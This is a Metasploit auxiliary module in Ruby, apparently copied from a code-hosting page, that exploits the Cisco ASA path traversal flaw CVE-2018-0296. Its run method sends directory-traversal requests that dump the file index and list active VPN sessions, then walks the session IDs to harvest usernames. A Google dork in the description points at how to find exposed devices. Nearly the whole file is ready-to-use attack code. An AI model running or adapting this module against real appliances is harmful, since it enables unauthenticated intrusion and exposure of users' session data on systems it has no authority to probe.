115 lines
No EOL
3.6 KiB
Ruby
Executable file
115 lines
No EOL
3.6 KiB
Ruby
Executable file
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Cisco Adaptive Security Appliance - Path Traversal",
|
|
'Description' => %q{
|
|
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
|
|
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
|
|
Google Dork:inurl:+CSCOE+/logon.html
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Yassine Aboukir', #Initial discovery
|
|
'Angelo Ruwantha @h3llwings' #msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['EDB', '44956'],
|
|
['URL', 'https://www.exploit-db.com/exploits/44956/']
|
|
],
|
|
'Arch' => ARCH_CMD,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd'
|
|
},
|
|
'Platform' => ['unix','linux'],
|
|
'Targets' =>
|
|
[
|
|
['3000 Series Industrial Security Appliance (ISA)
|
|
ASA 1000V Cloud Firewall
|
|
ASA 5500 Series Adaptive Security Appliances
|
|
ASA 5500-X Series Next-Generation Firewalls
|
|
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
|
|
Adaptive Security Virtual Appliance (ASAv)
|
|
Firepower 2100 Series Security Appliance
|
|
Firepower 4100 Series Security Appliance
|
|
Firepower 9300 ASA Security Module
|
|
FTD Virtual (FTDv)', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),
|
|
OptString.new('SSL', [true, 'set it as true', 'true']),
|
|
OptString.new('RPORT', [true, '443', '443']),
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def run
|
|
uri = target_uri.path
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),
|
|
|
|
})
|
|
|
|
|
|
if res && res.code == 200 && res.body.include?("{'name'")
|
|
print_good("#{peer} is Vulnerable")
|
|
print_status("Directory Index ")
|
|
print_good(res.body)
|
|
res_dir = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),
|
|
|
|
})
|
|
res_users = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),
|
|
|
|
})
|
|
userIDs=res_users.body.scan(/[0-9]\w+/).flatten
|
|
|
|
print_status("CSCEO Directory ")
|
|
print_good(res_dir.body)
|
|
|
|
print_status("Active Session(s) ")
|
|
print_status(res_users.body)
|
|
x=0
|
|
begin
|
|
print_status("Getting User(s)")
|
|
while (x<=userIDs.length)
|
|
users = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),
|
|
|
|
})
|
|
|
|
grab_username=users.body.scan(/user:\w+/)
|
|
nonstr=grab_username
|
|
if (!nonstr.nil? && nonstr!="")
|
|
print_good("#{nonstr}")
|
|
end
|
|
x=x+1
|
|
end
|
|
rescue
|
|
print_status("Complete")
|
|
end
|
|
|
|
|
|
else
|
|
print_error("safe")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
end |